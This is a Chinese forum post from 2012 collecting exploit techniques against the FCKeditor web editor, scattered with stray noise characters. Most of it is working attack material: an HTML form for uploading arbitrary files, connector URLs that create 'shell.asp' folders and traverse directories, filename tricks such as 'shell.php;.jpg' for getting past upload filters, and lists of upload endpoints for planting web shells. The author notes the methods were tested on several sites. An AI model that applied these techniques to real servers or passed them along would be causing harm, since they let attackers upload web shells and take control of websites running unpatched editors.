Fckeditor漏洞利用总结
' i2 K/ [3 Z- |2 H1 j B查看编辑器版本9 y# d! \' _# ?9 t
FCKeditor/_whatsnew.html! W2 u2 N R$ ?9 A) ]; Z Q$ p
—————————————————————————————————————————————————————————————
. l9 c0 @+ q) R# v" h( n4 ^
" D; U0 c- D& z" O: y* _# _& ~2. Version 2.2 版本
& q% O# f: J/ X3 _6 tApache+linux 环境下在上传文件后面加个.突破！测试通过。8 A6 I ~) e: z: t: ?' {1 P
—————————————————————————————————————————————————————————————
! H/ @1 z( t7 l1 k& u7 `7 @: z8 X
2 g8 U9 ?6 R3 K H! {( o3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。% }; x0 D7 ~8 j, @9 x
<form id="frmUpload" enctype="multipart/form-data"
, Y7 X& E& K4 d3 f& e& u. \action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>. C7 t% P! i- C8 a- j$ {1 J' o
<input type="file" name="NewFile" size="50"><br>
/ e% M& N+ c0 r1 ]4 {<input id="btnUpload" type="submit" value="Upload">
, D( w4 b6 x9 A, R. _3 M% z6 r1 m</form>( \/ `$ t; C `2 u% Y" ~
—————————————————————————————————————————————————————————————
V6 Z- r6 j: l( y3 ~$ h% c7 Z2 x% o7 Z! n6 P X
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法; C2 s* [2 e! k- n9 a2 s" T
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
& `: W+ e5 [( Q S 4.1：提交shell.php+空格绕过; Y1 e9 M4 W3 h' Z( \ @. R
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
/ T; M8 [+ i0 A! a 4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
, m5 `% O/ A+ s5 d, U—————————————————————————————————————————————————————————————+ j! ]5 a6 z$ F" ^3 a+ a6 ?! y
- k9 c# y+ J7 n y$ g# O' n2 \! A
5. 突破建立文件夹. x% g- `4 b2 c) J# m
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684. w6 P0 ]' a8 Y
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp* L, x9 Q' i8 d* D$ Q
—————————————————————————————————————————————————————————————
% t/ t8 v: Y, Y( s) ]1 z
% r& ], A8 f: N. V9 L6. FCKeditor 中test 文件的上传地址
5 ~$ l F; R& m; X. ^5 u6 CFCKeditor/editor/filemanager/browser/default/connectors/test.html
$ Y8 e/ d7 v+ e: UFCKeditor/editor/filemanager/upload/test.html
+ g0 d+ s. K( Z mFCKeditor/editor/filemanager/connectors/test.html
% d8 u2 t1 Z% ~/ L- a) B( e! aFCKeditor/editor/filemanager/connectors/uploadtest.html c7 S3 H; v! L2 B
—————————————————————————————————————————————————————————————
0 f6 p- c e5 _
$ o6 o5 X! ~( N2 l5 I6 n7.常用上传地址
+ | @/ S' K# x1 wFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
% Y) S& y, ]3 c) a; ^1 J9 [FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp; i: b* a' A# U& n2 A; ^7 t- C: ^# S
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)( \* k# O i) F
JSP 版：/ m$ C8 ^- L* O8 ~7 t
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp: j1 |" J3 ]8 W7 ~. e
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文* v# N8 A& ~* O, ^' \: c
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。, J8 }% z) I4 X- _, o
—————————————————————————————————————————————————————————————0 q4 _1 Z ^/ j% W' t" o
1 I8 [- a, R8 _* f4 W8 U& C& e, `
8.其他上传地址: H: e: ? O5 ^; G1 J4 y. N
FCKeditor/_samples/default.html
4 t( W! A1 ^% P* {. z) PFCKeditor/_samples/asp/sample01.asp
+ t0 X% B& A. a6 Z; J0 G0 kFCKeditor/_samples/asp/sample02.asp
2 q, m3 M# n3 v0 O8 _- K0 W3 DFCKeditor/_samples/asp/sample03.asp/ @5 C( L/ M! |: S0 J
FCKeditor/_samples/asp/sample04.asp
4 K$ S1 t. G3 J2 @一般很多站点都已删除_samples 目录，可以试试。6 e( t8 P$ a/ ]0 D# V
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
, A3 G2 ^. B0 q3 r0 _2 d/ [—————————————————————————————————————————————————————————————; ?( w* p2 R4 c$ c% c' i
/ X" a N" ]6 ?5 Q' O( k7 \9.列目录漏洞也可助找上传地址1 C6 k3 n) V3 b4 J' j
Version 2.4.1 测试通过
- Z0 Q( l( y$ U+ U5 x修改CurrentFolder 参数使用 ../../来进入不同的目录: G9 F' [) |' t: d
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
0 \0 _( X6 g A根据返回的XML 信息可以查看网站所有的目录。8 i" [' B6 X2 j9 n
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F2 Z# _, p& i1 Z7 P8 ^
也可以直接浏览盘符：- [2 h% F1 \0 J5 E" A5 ~
JSP 版本：# t) O% K- Q8 C9 ?, l
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F+ D S5 |6 G9 d4 Y0 p) b
—————————————————————————————————————————————————————————————
2 ]9 X t! ^0 k" B
, u* i# ?7 [# s" _10.爆路径漏洞) T% E8 m6 V- T; T
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
* ~' \' f) S; v- g1 |" b1 j5 n* N$ s4 {—————————————————————————————————————————————————————————————
# i4 C# J- S0 a: H0 d
3 L: E! |: P+ {: R9 @11. FCKeditor 被动限制策略所导致的过滤不严问题5 E' m7 G) w, G8 K1 _. ]6 S0 W; G
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
& V- A/ _3 {. s+ w: t脆弱描述：0 U/ G6 V5 }4 t8 F" Z* X1 G; w4 O
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：8 |4 l" V4 {2 H
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
7 ?( [5 W5 A" M/ x+ f- s: yFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!) M6 B" V5 O% c9 }) p2 E2 p
而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
5 _5 W8 L6 B5 k! u/ j: P8 O* B 在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!* r8 R5 ~! k% c. u1 q
—————————————————————————————————————————————————————————————
& Z# h! n% i3 A) Q2 w6 M6 m2 o$ n7 t7 ^
12.最古老的漏洞，Type文件没有限制！
, O: D! y# \" G0 k( Z 我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！ / f. a0 G0 \" m* Q, c! m
—————————————————————————————————————————————————————————————
" h- z7 o5 O9 R0 K$ ^" ?; r2 K7 m1 @8 L- ]6 ~1 @
===============================================================================================================================================, O5 M' \# u- c$ H" L
' l. J' ~) R; m4 w& h2 hFCK编辑器jsp版本漏洞：! n- [2 K$ [# y; o$ @7 C
! h2 X$ c' _0 N& g; z0 Y" v
) P4 n7 b& J [; Z
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F0 _* d+ E+ t$ f, |) F6 m {' \
" p/ G0 ?6 | U! Z( S |( }上传马所在目录4 Q2 W1 U/ N3 q2 {1 A2 c
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
4 W: Q5 P5 W$ V& {上传shell的地址:; |4 _# w! r" T$ Z0 c e3 k8 C! a; g
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector5 C/ e3 {8 ?0 H- y
跟版本有关系.并不是百分百成功. 测试成功几个站.
/ \9 o- V- W: Z/ [# Q2 z不能通杀.很遗憾.6 ]+ B. W' [( e" t& h }+ R1 n* l) y
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
2 S. O5 o; }& N# U! S E# j如果以上地址不行可以试试
1 i" z! x% \ a. z( A) ~ gFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector' _- q1 n3 Y$ e
FCKeditor/_samples/
2 k- |8 U! U; k2 ~6 e" iFCKeditor/_samples/default.html' R9 R! w# R6 e0 w* x
FCKeditor/editor/fckeditor.htm7 f) s: F5 j( }% J$ k8 o; `, Z5 P
FCKeditor/editor/fckdialog.html6 b' ?+ k# Z1 R, z, ?, U6 E
6 [ ^" m1 y3 m: V) l# _- a% P; J8 `/ \: b
1 x: m7 c/ r/ h: }解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
' @3 z6 S5 U. B8 e/ b$ e0 f* r |
发表于 2012-9-13 17:01:39
收藏
支持
反对